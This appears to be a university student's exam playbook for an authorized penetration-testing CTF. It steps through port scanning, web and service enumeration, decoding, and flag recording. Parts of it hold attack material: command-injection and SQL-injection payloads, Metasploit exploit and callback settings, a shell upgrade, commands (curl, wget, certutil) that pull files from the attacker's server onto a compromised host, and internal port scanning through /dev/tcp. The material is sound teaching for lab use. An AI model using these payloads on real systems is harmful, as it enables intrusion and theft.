IHU Cybersecurity Exam Notes

Source: Juni_2026_Exams/Penetration_Testing/notes/04-detailed-ctf-exam-playbook.md

Detailed CTF Exam Playbook

Purpose

Use this when the short open-notes page is not enough. It explains what to do, why to do it, what output matters, and what to try next. It is written for the authorized university CTF described by the uploaded material. Do not use these commands against systems outside the exam/lab scope.

The exam is not won by one exploit. It is won by complete enumeration, careful recording, fast decoding, and returning to untested services when stuck.

0. Start Clean

Create one directory per run:

mkdir -p ~/pentest-exam-$(date -u +%Y%m%d-%H%M)
cd ~/pentest-exam-*
mkdir -p scans web loot shells notes evidence
date -u | tee notes/start-time-utc.txt

Set and print the target:

export TARGET=127.0.0.1
printf 'TARGET=%s\n' "$TARGET" | tee notes/target.txt

If the exam gives a VM host IP instead of localhost:

export TARGET=<VM_HOST_IP>
printf 'TARGET=%s\n' "$TARGET" | tee notes/target.txt

Keep a live table:

Item Value
Target $TARGET
Launch command python3 start_ctf.py
Required flag format FLAG_XX: <32 hex>
Open ports [fill after scan]
Credentials found [source + value]
Internal routes [fill after shell]

Use the verified solution walkthroughs as examples of how detailed your notes should be:

Scenario Walkthrough
Current live lab status and target playbooks ../solutions/live-lab-evidence-handoff-and-target-playbooks.md
Windows XP SMB to SYSTEM ../solutions/ms17-010-windows-xp-successful-exploitation.md
Metasploitable 2 multiple paths ../solutions/metasploitable2-multiple-exploitation-paths.md
Ubuntu web backup leak, SQLi, webshell ../solutions/ubuntu-web-sqli-webshell-exploitation.md

1. Scan Correctly

Why

Previous exam material uses services on unusual ports. A default scan can miss the important service. Scan all TCP ports first, then run detailed scripts only against confirmed open ports.

Commands

nmap -Pn -sV -p- --min-rate 1000 "$TARGET" -oA scans/all-tcp
grep '/open/' scans/all-tcp.gnmap | tee scans/open-ports.txt

Convert ports into a comma-separated list:

awk -F'Ports: ' '/Ports:/{print $2}' scans/all-tcp.gnmap \
  | tr ',' '\n' \
  | awk -F'/' '/open/{print $1}' \
  | paste -sd, - \
  | tee scans/open-port-list.txt

Run detail scan:

PORTS=$(cat scans/open-port-list.txt)
nmap -Pn -sC -sV -p "$PORTS" "$TARGET" -oA scans/detail

If the first scan is unstable:

nmap -Pn -sV -p- --min-rate 200 "$TARGET" -oA scans/all-tcp-slow

What To Record

Field Why it matters
Port The real service may be on a non-default port
Service Chooses the first client/tool
Version Determines whether an exploit is plausible
Script output May expose files, anonymous login, titles, robots, SSL data
Unusual banner May directly contain a flag or clue

How To Interpret

2. Build the Attack Surface Table

After scanning, write one row per port:

Port Nmap service/version First manual test Interesting output Next step Done
80 HTTP curl -i Web checklist
21 FTP ftp/nc Anonymous/files
3306 MySQL mysql Credentials
9999 unknown nc -nv Type HELP

Do not delete rows. Mark them done. This prevents missed flags.

3. Web Enumeration

First Pass

For every HTTP-like port:

PORT=<PORT>
BASE="http://$TARGET:$PORT"
mkdir -p "web/$PORT"
curl -i "$BASE/" | tee "web/$PORT/root-headers-body.txt"
curl -s "$BASE/" | tee "web/$PORT/root.html" >/dev/null
curl -s "$BASE/robots.txt" | tee "web/$PORT/robots.txt"

If HTTPS:

BASE="https://$TARGET:$PORT"
curl -k -i "$BASE/" | tee "web/$PORT/root-headers-body.txt"

What To Look For

Search local copies:

grep -RInE 'flag|FLAG|secret|token|pass|admin|debug|api|backup|hidden' "web/$PORT"

Inspect linked files:

grep -Eo 'href="[^"]+"|src="[^"]+"' "web/$PORT/root.html" | sort -u

Request common low-cost paths:

for path in robots.txt sitemap.xml admin login api debug backup backups uploads files; do
  printf '\n### /%s\n' "$path" | tee -a "web/$PORT/path-checks.txt"
  curl -sS -i "$BASE/$path" | tee -a "web/$PORT/path-checks.txt"
done

If directory brute force is allowed and a wordlist is available, keep it small:

ffuf -u "$BASE/FUZZ" -w <SMALL_LAB_WORDLIST> -mc all -fc 404 -o "web/$PORT/ffuf.json"

If ffuf is unavailable:

while read -r path; do
  code=$(curl -k -s -o /dev/null -w '%{http_code}' "$BASE/$path")
  printf '%s %s\n' "$code" "$path"
done < <SMALL_LAB_WORDLIST> | tee "web/$PORT/simple-dir-check.txt"

JavaScript and APIs

Extract possible endpoints:

grep -RhoE '["'\''][/A-Za-z0-9_.?=&%-]{3,}["'\'']' "web/$PORT" \
  | tr -d '"'\' \
  | sort -u \
  | tee "web/$PORT/possible-endpoints.txt"

Request endpoints carefully:

while read -r endpoint; do
  case "$endpoint" in
    http*) url="$endpoint" ;;
    /*) url="$BASE$endpoint" ;;
    *) url="$BASE/$endpoint" ;;
  esac
  printf '\n### %s\n' "$url"
  curl -sS -i "$url" | head -n 40
done < "web/$PORT/possible-endpoints.txt" | tee "web/$PORT/endpoint-checks.txt"

Files and Metadata

Download only files from the authorized target:

curl -fSLO "$BASE/<FILE>"
file <FILE>
sha256sum <FILE>
exiftool <FILE> 2>/dev/null | tee "loot/<FILE>.exif.txt"
strings -a <FILE> | tee "loot/<FILE>.strings.txt"
grep -Ein 'flag|secret|token|pass' "loot/<FILE>.strings.txt"

Interpretation

4. Encoding and Data Decoding

Recognize Common Encodings

Looks like First test
dGVzdA== Base64
666c6167 Hex
%66%6c%61%67 URL encoding
&#102;&#108; HTML entity
Long JWT with dots Base64url sections

Commands

Base64:

printf '%s' '<VALUE>' | base64 -d

Hex:

printf '%s' '<HEX>' | xxd -r -p

URL decode:

python3 - <<'PY'
from urllib.parse import unquote
print(unquote('<VALUE>'))
PY

JWT decode without verification:

python3 - <<'PY'
import base64, json
token = '<JWT>'
for part in token.split('.')[:2]:
    part += '=' * (-len(part) % 4)
    print(json.dumps(json.loads(base64.urlsafe_b64decode(part)), indent=2))
PY

Validate flag shape:

printf '%s\n' '<CANDIDATE>' | grep -E '^[0-9a-fA-F]{32}$'

5. Manual Service Enumeration

Unknown TCP

nc -nv "$TARGET" <PORT>

Try:

HELP
help
?
VERSION
INFO
GET / HTTP/1.0

If it behaves like HTTP:

printf 'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -nv "$TARGET" <PORT>
printf 'HEAD / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -nv "$TARGET" <PORT>

FTP

nc -nv "$TARGET" <FTP_PORT>
ftp "$TARGET" <FTP_PORT>

Inside FTP:

anonymous
ls -la
pwd
binary
get <FILE>
bye

Then inspect downloads:

file <FILE>
strings -a <FILE>
sha256sum <FILE>

Do not assume anonymous access exists. Record the banner and login result.

SSH

ssh -p <PORT> <USER>@"$TARGET"
ssh -o PreferredAuthentications=password -p <PORT> <USER>@"$TARGET"

If you find credentials, record the source. If login succeeds:

id
hostname
pwd
ls -la

MySQL

mysql -h "$TARGET" -P <PORT> -u <USER> -p

Inside MySQL:

SELECT VERSION();
SHOW DATABASES;
USE <database>;
SHOW TABLES;
DESCRIBE <table>;
SELECT * FROM <table> LIMIT 20;

Save output:

mysql -h "$TARGET" -P <PORT> -u <USER> -p -e 'SHOW DATABASES;'

SMB

smbclient -L //"$TARGET" -N
smbclient -L //"$TARGET" -U '<USER>'
smbclient //"$TARGET"/<SHARE> -N

Inside smbclient:

ls
recurse ON
prompt OFF
mget *
quit

6. Web Injection Tests

Only test deliberately vulnerable lab parameters.

Command Injection

Baseline first:

curl -i "$BASE/<PATH>?<PARAM>=test"

Harmless checks:

curl -i "$BASE/<PATH>?<PARAM>=id"
curl -i "$BASE/<PATH>?<PARAM>=whoami"
curl -i "$BASE/<PATH>?<PARAM>=pwd"

Common separators to test carefully:

;id
&&id
|id
`id`
$(id)

URL encode when needed:

python3 - <<'PY'
from urllib.parse import quote
print(quote(';id'))
PY

Evidence must show:

SQL Injection

Baseline:

curl -i "$BASE/<PATH>?id=1"
curl -i "$BASE/<PATH>?id=1'"

Login bypass examples from the course context:

admin' OR '1'='1'-- -
admin'-- -

Column count:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

UNION shape:

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Never paste a historical table/column name without proving it exists in the current challenge.

7. Searchsploit and Exploit Selection

Search:

searchsploit <PRODUCT> <VERSION>
searchsploit --cve <CVE-ID>
searchsploit -x <PATH>

Mirror for lab review:

searchsploit -m <PATH>
sed -n '1,200p' <COPIED_EXPLOIT>

Before using an exploit, answer:

Question Required answer
Does Nmap confirm the exact product/version? [yes/no]
Is the exploit remote or local? [remote/local]
Is authentication required? [yes/no]
What platform/architecture is expected? [linux/windows/x86/x64]
What is the side effect? [shell/read file/dos/etc.]
Is Metasploit safer/faster for this module? [yes/no]

8. Metasploit Workflow

Start:

msfconsole

Inside:

workspace -a exam
db_status
db_nmap -sV -p <PORTS> <TARGET>
services
search <PRODUCT> <VERSION>
info <MODULE>
use <MODULE>
show options
show payloads
set RHOSTS <TARGET>
set RPORT <ACTUAL_PORT>
check
run
sessions -l
sessions -i <ID>

If the module needs payload options:

set LHOST <YOUR_LAB_IP>
set LPORT 4444

Find your callback IP:

ip -brief addr
ip route get "$TARGET"

Common mistakes:

9. Shell Handling

Immediately after shell:

id || whoami
hostname
pwd
uname -a 2>/dev/null || ver
ip addr 2>/dev/null || ipconfig
ip route 2>/dev/null || route print
ss -lntup 2>/dev/null || netstat -ano

Upgrade Linux shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Then press Ctrl-Z locally:

stty raw -echo; fg
export TERM=xterm

If terminal breaks:

reset

Meterpreter basics:

sysinfo
getuid
pwd
ls
shell
background
sessions -l
sessions -i <ID>

10. File Transfer

Kali HTTP server:

python3 -m http.server 8000 --directory loot

Linux download:

curl -fLO "http://<KALI_IP>:8000/<FILE>"
wget "http://<KALI_IP>:8000/<FILE>"

Windows PowerShell:

Invoke-WebRequest http://<KALI_IP>:8000/<FILE> -OutFile <FILE>
certutil -urlcache -split -f http://<KALI_IP>:8000/<FILE> <FILE>

Verify:

sha256sum <FILE>

Do not commit generated payloads or recovered private files to this repository.

11. Pivoting and Internal Enumeration

After a shell, look for routes:

ip addr
ip route
ss -lntup

Decide if a new lab subnet exists:

Example: attacker can reach target, target has 192.168.56.0/24 internally.

From the compromised host, use available tools:

for h in 192.168.56.{1..254}; do
  ping -c 1 -W 1 "$h" >/dev/null 2>&1 && echo "$h"
done

If Nmap exists on the compromised host:

nmap -sn <INTERNAL_SUBNET>
nmap -sT -sV -p- <INTERNAL_HOST>

If only shell built-ins and nc are available:

for p in 21 22 80 443 3306 8000 8080 8443 9000; do
  timeout 2 bash -c "echo >/dev/tcp/<INTERNAL_HOST>/$p" 2>/dev/null \
    && echo "open $p"
done

Record that the finding came from the compromised host, not your Kali machine.

12. Flag Handling

When you find a candidate:

printf '%s\n' '<VALUE>' | tee -a notes/flag-candidates.txt
printf '%s\n' '<VALUE>' | grep -E '^[0-9a-fA-F]{32}$'

Record:

FLAG_XX: <value>
Where: <host/port/path/file/table>
Command: <exact command>
Proof: <line of output or screenshot>
Decoded from: <none/base64/hex/url/etc.>

If the value was encoded, submit the decoded 32-character hex value, not the encoded wrapper.

13. When Stuck

Use this order:

  1. Re-read scans/open-ports.txt.
  2. Check every HTTP port again with source, headers, robots, JavaScript, and

downloaded files.

  1. Connect to every unknown port with nc.
  2. Decode every long suspicious value as Base64, hex, URL encoding, and JWT.
  3. Try anonymous FTP only if FTP exists.
  4. Try discovered credentials on appropriate services.
  5. Search exact service versions.
  6. Review shell ip route and internal services after compromise.
  7. Move on after 10-15 minutes and return later.

14. Answer Template

Finding:
FLAG_XX was found in [location].

Evidence:
Command: [exact command]
Output: [minimal relevant output]

Interpretation:
This proves the flag because [why the output is directly tied to the target].

Limitations:
Historical ports/credentials were not assumed; this was observed in the
current run.